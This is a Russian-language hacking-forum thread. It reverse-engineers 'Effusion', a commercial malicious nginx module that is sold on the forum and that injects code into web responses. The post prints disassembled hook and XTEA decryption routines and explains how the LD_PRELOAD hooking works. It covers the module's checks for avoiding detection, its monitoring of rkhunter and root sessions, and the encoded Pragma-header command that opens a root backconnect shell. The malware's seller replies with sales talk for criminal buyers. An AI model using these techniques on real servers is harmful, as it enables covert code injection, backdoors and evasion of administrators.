• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья effusion

Ar3s

Старожил форума
Легенда
Регистрация
30.12.2004
Сообщения
3 357
Реакции
1 404
tilp.png

Введение
Привет всем! На связи капитан Краббс (не путать с кребсом =) ). Сегодня мы обратим наш взор на продукт, который появился совсем недавно и служит для инжектов кода в ответы nginx-а. Название нашего подопытного - Effusion. Вообще, забегая вперед хочу сказать, что все заявленные автором возможности присутствуют, однако есть пару фич, которые автор почему-то не указал в описании.

Что представляет собой
Результат работы билдера представляет собой so (libnginx.so) который грузится в АП nginx-а через технику LD_PRELOAD (Билдер модифицирует /etc/init.d/nginx).

Вот кусок скрипта, который грузит эту so:
Код:
LD_PRELOAD=/usr/lib/libnginx.so /usr/sbin/nginx

Техника LD_PRELOAD позволяет грузануть SO в АП процесса до загрузки самого процесса, то есть на очень раннем этапе. Также эта техника позволяет легко и непринужденно угнать нужные функи из процесса, в АП которого грузится этот so.

Данный продук при помощи LD_PRELOAD угоняет только одну функу - setsid, и в этой функе происходит одна часть инициализации (расшифрование конфига, форк процесса, получение адресов функций для работы с gzip и т.д.). Вторая часть инициализации so-шника проиcходит в функе init_proc (хуки).

Хуки
Хуки в nginx ставятся путем подмены адресов в структурах и глобальных переменных nginx-а. Но в начале я хочу сказать пару слов о том как работает NGINX. Итак, нам пришел запрос - он обрабатывается handler-ом (один из модулей), который собственно и генерит тело и заголовки ответа. Handler может быть только один, например, движок php. Далее запрос с ответом проходят через цепочку filters, которая представляет собой список, указатель на вершину которого а также на текущие обработчики хранится в глобальной переменной. Каждый фильтр описывается структурой, в которой в том числе есть указатель на функу инициализации фильтра. Фильтры допольнительно обрабытывают ответ сервера перед отправкой его клиенту. Пример работы фильтра - сжатие ответа при помощи gzip.

В процессе выполнения функи init_proc подменяется адрес функи ngx_http_copy_filter_init из структуры, которая описывает модуль http_copy_filter. Адрес памяти в nginx, по которому надо производить замену захардкожен в so и по всей видимости ищется билдером в АП запущенного nginx и пишется в libnginx.so. Далее в процессе работы замененной функи заменяются адреса переменных

ngx_top_body_filter
ngx_top_head_filter

то есть libnginx.so вставляет свои обработчики в цепочку фильтров nginx-а, через которую проходит ответ перед отправкой данных пользователю. Эти обработчики и делают всю грязкую работу по анализу HTTP-заголовков и внедрению кода в ответ сервера.

Код init_proc:
Код:
                 public _init_proc
 _init_proc      proc near               
                 mov     rax, cs:pointer_to_ngx_http_copy_filter_init 
                 mov     rdx, [rax]
                 test    rdx, rdx
                 mov     cs:old_address_ngx_http_copy_filter_init, rdx 
                 jz      short proc_exit
     lea     rdx, hook_ngx_http_copy_filter_init 
     mov     [rax], rdx
proc_exit:                            
                 retn
_init_proc      endp
Как видим, в коде init_proc нет ничего необычного - происходит просто подмена адреса.
Код хука hook_ngx_http_copy_filter_init:
Код:
 hook_ngx_http_copy_filter_init proc near
 var_2018        = byte ptr -2018h

                 push    rbp
                 mov     rbp, rdi
                 push    rbx
                 sub     rsp, 2008h     

; ...
; тут опущены всякие проверки
; ...

                 mov     rcx, cs:address_of_ngx_http_top_header_filter 
                 mov     rdx, cs:address_of_ngx_http_top_body_filter
                 mov     rsi, [rcx]
                 mov     cs:storage_for_ngx_http_top_header_filter_address, rsi 
                 mov     rsi, [rdx]
                 mov     cs:storage_for_ngx_http_top_body_filter_address, rsi 
                 lea     rsi, new_ngx_http_top_header_filter
                 mov     [rcx], rsi
                 lea     rcx, new_ngx_http_top_body_filter
                 mov     [rdx], rcx

 exit:                                   
                 add     rsp, 2008h
                 pop     rbx
                 pop     rbp
                 retn
 hook_ngx_http_copy_filter_init endp
В коде хука hook_ngx_http_copy_filter_init я всякие проверки и оставил только собственно код установки хуков. Тут опять же ничего необычного - таже подмена адресов.

Внедрение кода
В процессе внедрения кода проходит череда проверок:
1. Content-Length != 0
2. тип запроса "GET"
3. нет ли подстрок admin и тд
4. не внедрялся ли код уже для этого IP адреса
5. не находится ли IP в блеклисте
6. не поставлены ли инжекты на паузу
7. проверка User-Agent, Content-Type и Referer
и так далее. Тут впринципе все соответствует описанию автора продукта. Единственный момент, который удивил - использование hash tables. Так как каждый запрос проходит через многие проверки, то тут чувствуется забота автора о том, чтобы продукт не снижал производительность сервера (ведь опытный админ может запрозрить неладное=) )

Продвинутый чек рута и мониторинг процессов
После старта процесс форкается в подмененной функе setsid и один из процессов мониторит запущенные процессы и чекает активность рута в системе. Мониторинг запущенных процессов осуществляется путем чтения диры /proc/ и далее чека командной строки каждого процесса на присутсвие имен, определенных в конфиге (у меня в конфиге был только rkhunter). Толком сложного ничего нет. На мой взгляд не самый лучший способ за 2,5k$ могли бы придумать что-нибудь по лучше. Грамотный админ просто переименует rkhunter в trololo.exe, что запросто обломает такой мониторинг.

Чек рута происходит по похожей схеме. Сначала читается /proc/ затем для каждого процесса читается /proc/%d/status и ищутся процессы с UID равным 0. После для этого списка получаются дескрипторы открытых файлов путем чтения /proc/%d/fd, далее в дескрипторах открытых файлов ищется строка pts. Для каждого найденно файла чекается время последнего изменения при помощи функи lstat. После берется разница времени последнего изменения такого файла и текущего времени в системе и сравнивается со значением из конфига и на основании этого принимается решение есть рут или нет. Не знаю насколько продвинутой считается такая техника, но кажется это лучше чем парсинг "/var/run/utmp" (привет дарклич), хотя не уверен и дополнительных тестов не проводил. В обещем если кто разбирается, то прокомментируйте этот момент.

Удаленное управление
Для удаленного управления есть всего 5 типов команд. При помощи этих команд можно:

- обновить конфигурацию,
- поставить инжекты на паузу,
- возобновить инжекты,
- получить статус effusion-a
- сделаеть бекконнект к IP:порт и организовать удаленный шелл с правами рута.

Обновленная конфигурация хранится только в оперативе и не дампится на винт, то есть при перезапуске сервака все изменения пропадут.

Так как конфиг пушится и работа ведется с серваками (нет проблем с натом) то C&C как такового нет.

Для того, чтобы запрос обработался как управляющий, в запросе должен присутствовать заголовок "Pragma", значение которого является командой в зашифрованном виде. Это гуд так как заголовки не логгируются и выпалить по логам присутствие в системе effusion-a крайне сложно.

Так, например, сделать бекконнект можно запросом, в котором заголовок Pragma имеет значение:

BASE64_ENCODE(XTEA_ECB_ENCRYPT(key, 0xDEADBEEF||0x10005)||IP_addr||Port)

BASE64_ENCODE - это кодирование base64
XTEA_ECB_ENCRYPT - это шифрование при помощи алгоритма XTEA (11 раундов) в режиме ECB
0x10005 - собственно команда (команды вообще от 0x10001 до 0x10005)

Шифрование
Вообще начальный конфиг и строки libnginx.so зашифрованы при помощи алгоритма XTEA (11 раундов) в режиме ECB. В продукте производится робкая попытка спрятать шифрованный текст добавив перед ним до 256 байт треша. На начало нормального шифрованного текста указывает первый байт ключа шифрования. Ключик шифрования хранится в сегменте данных в открытом виде.

Код функи расшифрования блока в 8 байт (rdi - адрес шифрованного блока, rsi - адрес ключа):
Код:
decrypt_block proc near          
                 mov     ecx, [rdi]
                 mov     edx, [rdi+4]
                 mov     eax, 0CC623AF3h
                 mov     r8d, eax
                 mov     r9d, ecx
                 mov     r10d, ecx
                 shr     r8d, 11
                 shl     r10d, 4
                 shr     r9d, 5
                 and     r8d, 11b
                 xor     r9d, r10d
                 mov     r8d, [rsi+r8*4]
                 add     r9d, ecx
                 add     r8d, eax
                 add     eax, 61C88647h
                 xor     r8d, r9d
                 sub     edx, r8d
                 mov     r8, rax
                 and     r8d, 3
                 mov     r9d, edx
                 mov     r10d, edx
                 mov     r8d, [rsi+r8*4]
                 shr     r9d, 5
                 shl     r10d, 4
                 xor     r9d, r10d
                 add     r9d, edx
                 add     r8d, eax
                 xor     r8d, r9d
                 sub     ecx, r8d
                 test    eax, eax
                 jnz     short loc_1B02
                 mov     [rdi], ecx
                 mov     [rdi+4], edx
                 retn
decrypt_block endp
Не надо ничего искать по magic numbers - достаточного пристального взгляда на код из wiki и на этот код чтобы расставить все точки над i.

Конфигурация
Тут помимо вещей, перечисленных автором хранится пара интересных значений, которые автор почему-то не упомянул. Первое - это время "молчания" - время, после которого код не будет внедряться в HTTP-ответы. Второе - флаг который напрочь отключает возможность удаленного управления - то есть если установлен этот флаг, то effusion не будет реагировать на удаленные команды. Возможно автор хотел сделать 2 версии продукта как и в случае Trololo_mod, которые отличались бы только наличием фукнции удаленного управления. Билдер один и тот же а билды отличаются только этим флагом. Время "молчания" в конфиге тоже наверное было предназначено для каких-то маркетинговых целей типа сдачи продукта в аренду.

Тут надеюсь нам подскажет сам автор =)

Кстати в этом направлении можно и нужно поисследовать и Trololo, вполне возможно, что таким образом можно использовать версию с удаленным управлением, заплатив только за базовую версию и слегка поправив ее конфиг (хотя человек, который на такое способен, скорее напишет свой трололо =)) ).

В целом
В целом внутренности как две капли воды похожи на Trololo (кое где даже виден копи-паст), только в данном случае все несомненно дороже (коммерс как-никак). Вообще если руки прямые и растут из нужного места, то подобный эффюжн можно запросто написать самому. Стоит ли оно 2,5к$ - решать конечно тебе.


[mod][Ar3s:] p.s. мопед не мой я просто разместил объяву.
[15:23:12] <null> опубликуй плз от себя, я на дамаге не зареган
[15:23:52] <null> где и какой хайд поставить - решай сам, но мне кажется что хайд однозначно нужен, но тут уже на твое усмотрениеа[/mod]
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вообще, забегая вперед хочу сказать, что все заявленные автором возможности присутствуют
Спасибо. Вы объективны.
Важные технические моменты опущены, и это к лучшему. =) Упомяну только то, что лежит на поверхности:
9/10 всего, что делается под Линукс идет с исходниками, в своих же продуктах мы добиваемся бинарной совместимости, и снимаем с клиента проблемы сборки.
Вообще если руки прямые и растут из нужного места, то подобный эффюжн можно запросто написать самому. Стоит ли оно 2,5к$ - решать конечно тебе.
Автор "обзора" (больше похоже на аверский анализ, ты не из Яндекса-ли Краббс?) просто не знает к чему прицепиться. =) Я регулярно слышу писки "я сам напишу за пять минут", только что-то никто не торопится писать. =)
Я знаю только один альтернативный продукт, работающий с nginx и он:
а) поставляется в исходниках (я вообще не вижу готовых продуктов под Linux)
б) содержит (как минимум) две критические ошибки
в) в привате и стоит ровно в два раза дороже - $5K
Называть автора и разглашать подробности не буду, я не авер.
вполне возможно, что таким образом можно использовать версию с удаленным управлением, заплатив только за базовую
Это вряд ли. Как в Trololo, так и в Effusion билдер выполняет ряд действий помимо сборки конфига. Придется либо хакать билдер, либо повторять те же действия руками. Учитывая объем работы в случае nginx, легче будет действительно свое написать. (Или научиться подделывать цифровую подпись =)
Тут надеюсь нам подскажет сам автор =)
/me опять почему-то думает об ав-конторе. ;-)
У нас тут не сервис-центр для аверов и барыг, так что автор ничего подсказывать не будет, скажу только, что если у наших клиентов есть сомнения или трудности, то мы дадим необходимые пояснения в личке.
то есть при перезапуске сервака все изменения пропадут.
Это зависит. ;-)
... за 2,5k$ могли бы придумать ...
За эти деньги мы обеспечиваем:
а) легкую и быструю инсталляцию
б) высокую совместимость (как по версиям nginx, так и по ОС)
в) качественную поддержку продукта
Для нашего рынка цена, имхо, адекватная.
Мы не в бирюльки играем, у нас тут не олимпиада по программированию, перед нами стоит задача - наш клиент должен зайти в систему, поставить продукт за минуту и уйти, и его не волнует, как мы этого добьемся, если можно использовать вместо сложных решений простые, то мы так и делаем, а освободившееся время используем на поддержку и разработку.
Цена продукта формируется не из программистких выбрыков, а из анализа рынка, трудозатрат и саппорта.
Грамотный админ просто переименует rkhunter в trololo.exe
Грамотный админ не будет использовать антивирусное дерьмо в принципе.
В целом внутренности как две капли воды похожи на Trololo (кое где даже виден копи-паст)
Это называется не копипаст, а повторное использование кода.

В целом мне обзор понравился, и работа проделана немаленькая =)

P.S. Извините, но в связи с нездоровой ажитацией вокруг Effusion мы можем отказать в продаже любому без объяснения причин.
Технические аспекты будем обсуждать приватно или после EOL продукта.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх